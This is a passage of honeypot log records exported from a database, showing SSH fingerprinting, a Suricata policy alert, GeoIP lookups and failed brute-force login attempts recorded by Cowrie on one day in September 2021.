26961	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:13:12.071363+03	2021-09-20 14:15:13.952646+03	{"_id": "NAboAnwBvYTbRNuE7ySB", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "115.72.130.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 35662, "timestamp": "2021-09-20T11:13:12.071363", "@timestamp": "2021-09-20T11:13:12.071Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
26962	27.69.246.93	109.199.241.180	Fatt	2021-09-20 14:13:11.961718+03	2021-09-20 14:15:13.954646+03	{"_id": "NQboAnwBvYTbRNuE7ySC", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 49414, "dest_port": 22, "timestamp": "2021-09-20T11:13:11.961718", "@timestamp": "2021-09-20T11:13:11.961Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
26963	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:13:12.367172+03	2021-09-20 14:15:13.955645+03	{"_id": "NgboAnwBvYTbRNuE7ySC", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "5.188.62.196", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 57586, "timestamp": "2021-09-20T11:13:12.367172", "@timestamp": "2021-09-20T11:13:12.367Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
26964	5.188.62.196	109.199.241.180	Suricata	2021-09-20 14:13:12.426619+03	2021-09-20 14:15:13.956645+03	{"_id": "UgboAnwBvYTbRNuE8iQ7", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "Go"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T11:13:12.305038+0000", "pkts_toclient": 3, "pkts_toserver": 5, "bytes_toclient": 821, "bytes_toserver": 1310}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "5.188.62.196", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "proto": "TCP", "src_ip": "5.188.62.196", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 1617374839613326, "payload": "AAADvA4Up+d+PkeYHLGsfuLWx3JaMQAAAIxjdXJ2ZTI1NTE5LXNoYTI1NkBsaWJzc2gub3JnLGVjZGgtc2hhMi1uaXN0cDI1NixlY2RoLXNoYTItbmlzdHAzODQsZWNkaC1zaGEyLW5pc3RwNTIxLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTQtc2hhMSxkaWZmaWUtaGVsbG1hbi1ncm91cDEtc2hhMQAAAS1zc2gtcnNhLWNlcnQtdjAxQG9wZW5zc2guY29tLHNzaC1kc3MtY2VydC12MDFAb3BlbnNzaC5jb20sZWNkc2Etc2hhMi1uaXN0cDI1Ni1jZXJ0LXYwMUBvcGVuc3NoLmNvbSxlY2RzYS1zaGEyLW5pc3RwMzg0LWNlcnQtdjAxQG9wZW5zc2guY29tLGVjZHNhLXNoYTItbmlzdHA1MjEtY2VydC12MDFAb3BlbnNzaC5jb20sc3NoLWVkMjU1MTktY2VydC12MDFAb3BlbnNzaC5jb20sZWNkc2Etc2hhMi1uaXN0cDI1NixlY2RzYS1zaGEyLW5pc3RwMzg0LGVjZHNhLXNoYTItbmlzdHA1MjEsc3NoLXJzYSxzc2gtZHNzLHNzaC1lZDI1NTE5AAAAh2FlczEyOC1nY21Ab3BlbnNzaC5jb20sY2hhY2hhMjAtcG9seTEzMDVAb3BlbnNzaC5jb20sYWVzMTI4LWN0cixhZXMxOTItY3RyLGFlczI1Ni1jdHIsYWVzMTI4LWNiYywzZGVzLWNiYyxhcmNmb3VyLGFyY2ZvdXIxMjgsYXJjZm91cjI1NgAAAIdhZXMxMjgtZ2NtQG9wZW5zc2guY29tLGNoYWNoYTIwLXBvbHkxMzA1QG9wZW5zc2guY29tLGFlczEyOC1jdHIsYWVzMTkyLWN0cixhZXMyNTYtY3RyLGFlczEyOC1jYmMsM2Rlcy1jYmMsYXJjZm91cixhcmNmb3VyMTI4LGFyY2ZvdXIyNTYAAABQaG1hYy1zaGEyLTI1Ni1ldG1Ab3BlbnNzaC5jb20saG1hYy1zaGEyLTUxMixobWFjLXNoYTItMjU2LGhtYWMtc2hhMSxobWFjLXNoYTEtOTYAAABQaG1hYy1zaGEyLTI1Ni1ldG1Ab3BlbnNzaC5jb20saG1hYy1zaGEyLTUxMixobWFjLXNoYTItMjU2LGhtYWMtc2hhMSxobWFjLXNoYTEtOTYAAAAEbm9uZQAAAARub25lAAAAAAAAAAAAAAAAABFVEYXbjbSgJh20SC4E", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 57586, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T11:13:12.426619Z", "@timestamp": "2021-09-20T11:13:12.426Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "........~>G....~...rZ1....curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1...-ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ssh-ed25519-cert-v01@openssh.com,ecdsa-sha2-nistp256,ecdsa-sha2-nistp384,ecdsa-sha2-nistp521,ssh-rsa,ssh-dss,ssh-ed25519....aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc,arcfour,arcfour128,arcfour256....aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc,arcfour,arcfour128,arcfour256...Phmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-256,hmac-sha1,hmac-sha1-96...Phmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-256,hmac-sha1,hmac-sha1-96....none....none..............U......&..H.."}}	1	\N	\N	alert	\N	\N
26965	5.188.62.196	109.199.241.180	Fatt	2021-09-20 14:13:12.426619+03	2021-09-20 14:15:13.958645+03	{"_id": "VAboAnwBvYTbRNuE8yRp", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "5.188.62.196", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "src_ip": "5.188.62.196", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ssh-ed25519-cert-v01@openssh.com,ecdsa-sha2-nistp256,ecdsa-sha2-nistp384,ecdsa-sha2-nistp521,ssh-rsa,ssh-dss,ssh-ed25519", "hassh": "eccf733a56108dec8ecc8efbc681be63", "ccacts": "none", "ccastc": "none", "ceacts": "aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc,arcfour,arcfour128,arcfour256", "ceastc": "aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc,arcfour,arcfour128,arcfour256", "client": "SSH-2.0-Go", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-256,hmac-sha1,hmac-sha1-96", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-256,hmac-sha1,hmac-sha1-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc,arcfour,arcfour128,arcfour256;hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none"}, "protocol": "ssh", "src_port": 57586, "dest_port": 22, "timestamp": "2021-09-20T11:13:12.426619", "@timestamp": "2021-09-20T11:13:12.426Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
26966	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:13:13.646876+03	2021-09-20 14:15:13.959645+03	{"_id": "VQboAnwBvYTbRNuE9CQY", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "d744bcfcb525", "@version": "1", "duration": 2.7684624195098877, "timestamp": "2021-09-20T11:13:13.646876Z", "@timestamp": "2021-09-20T11:13:13.646Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
26968	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:13:14.997902+03	2021-09-20 14:15:13.962646+03	{"_id": "XAboAnwBvYTbRNuE-yTq", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.login.failed", "message": "login attempt [fe5ced/fe5ced] failed", "session": "e40157bc7392", "@version": "1", "password": "fe5ced", "username": "fe5ced", "timestamp": "2021-09-20T11:13:14.997902Z", "@timestamp": "2021-09-20T11:13:14.997Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
26969	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:13:16.318936+03	2021-09-20 14:15:13.963644+03	{"_id": "XwboAnwBvYTbRNuE_yTT", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.login.failed", "message": "login attempt [tiffany/tiffany] failed", "session": "8fbef170f13c", "@version": "1", "password": "tiffany", "username": "tiffany", "timestamp": "2021-09-20T11:13:16.318936Z", "@timestamp": "2021-09-20T11:13:16.318Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
26970	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:13:18.577559+03	2021-09-20 14:15:13.964644+03	{"_id": "awbpAnwBvYTbRNuEBySl", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "f876c3922047", "@version": "1", "timestamp": "2021-09-20T11:13:18.577559Z", "@timestamp": "2021-09-20T11:13:18.577Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
26971	116.98.160.162	109.199.241.180	Suricata	2021-09-20 14:13:18.565806+03	2021-09-20 14:15:13.966646+03	{"_id": "bAbpAnwBvYTbRNuECSSu", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "flow_id": 40864144304264, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 56166, "dest_port": 22, "timestamp": "2021-09-20T11:13:18.565806Z", "@timestamp": "2021-09-20T11:13:18.565Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
26972	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:13:18.565951+03	2021-09-20 14:15:13.967646+03	{"_id": "bgbpAnwBvYTbRNuECiTc", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.98.160.162", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": 